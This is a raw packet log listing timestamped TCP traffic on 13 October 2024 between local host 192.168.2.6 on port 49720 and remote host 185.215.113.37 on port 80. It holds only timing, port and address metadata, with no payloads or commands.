Oct 13, 2024 14:49:26.503575087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.503601074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.503609896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.503633976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.503653049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.503671885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.503684998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.503705978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.503720999 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.503737926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.503745079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.503773928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.503781080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.503807068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.503818989 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.503840923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.503849983 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.503880978 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504009008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504059076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504082918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504095078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504100084 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504127026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504148960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504159927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504173994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504193068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504208088 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504225016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504236937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504259109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504267931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504291058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504306078 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504323006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504332066 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504357100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504390001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504396915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504396915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504422903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504435062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504456997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504467010 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504491091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504507065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504523993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504543066 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504555941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504564047 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504591942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504601002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504625082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504631996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504657984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504678965 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504689932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504694939 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504723072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504746914 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504761934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504929066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504962921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.504980087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.504996061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505017996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505028963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505038977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505060911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505070925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505095005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505112886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505127907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505137920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505161047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505188942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505196095 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505214930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505228043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505234003 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505260944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505273104 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505295038 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505325079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505327940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505342960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505362034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505372047 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505393982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505403996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505426884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505435944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505460024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505475044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505501986 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505551100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505585909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.505597115 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.505639076 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.589896917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.589936972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.589987993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590019941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590034962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590034962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590034962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590053082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590076923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590085030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590095997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590130091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590135098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590167046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590190887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590199947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590212107 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590238094 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590251923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590270996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590282917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590303898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590313911 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590336084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590347052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590364933 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590379953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590390921 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590396881 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590408087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590414047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590428114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590435982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590435982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590442896 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590459108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590462923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590473890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590487957 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590487957 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590500116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590509892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590538025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590538025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590572119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590588093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590603113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590610981 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590617895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590634108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590636015 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590647936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590653896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590677977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590693951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590698004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590734005 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590806961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590822935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590837955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590852976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590856075 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590868950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590879917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590879917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590883970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590898991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590912104 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590912104 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590919018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.590939999 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590955019 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.590974092 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591140985 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591161966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591176987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591183901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591192007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591207981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591212988 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591212988 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591222048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591233969 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591238022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591252089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591262102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591262102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591267109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591281891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591289043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591298103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591316938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591341019 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591576099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591590881 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591605902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591619015 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591620922 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591639996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591644049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591659069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591671944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591674089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591689110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591694117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591705084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591720104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591726065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591733932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591748953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591753006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591763020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591768980 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591777086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591793060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591798067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591798067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591808081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591824055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591824055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591839075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591844082 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591852903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591867924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591881990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591885090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591897011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.591903925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591923952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.591949940 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592133999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592176914 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592288971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592305899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592319965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592324972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592334986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592345953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592349052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592359066 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592364073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592380047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592380047 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592390060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592394114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592405081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592410088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592425108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592431068 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592439890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592442036 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592454910 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592454910 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592469931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592478991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592487097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592509031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592526913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592691898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592706919 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592721939 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592732906 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592736959 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592750072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592751980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592766047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592767954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592781067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592781067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592794895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592797995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592809916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592811108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592823982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.592832088 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592855930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.592897892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593072891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593087912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593101978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593112946 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593116999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593131065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593133926 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593144894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593148947 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593159914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593169928 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593175888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593190908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593198061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593205929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593214989 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593219995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593235016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593245029 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593250036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593256950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593265057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593280077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593286037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593295097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593310118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593310118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593323946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593333006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593338013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.593364000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.593384981 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.678849936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.678920031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.678956032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.678987980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.678988934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.679020882 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.679042101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.679059029 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.679075956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.679096937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.679111004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.679124117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.679143906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.679161072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.679194927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.679195881 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.679228067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.679245949 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.679275990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.679279089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.679311991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.679327011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.679346085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.679361105 CEST	49720	80	192.168.2.6	185.215.113.37
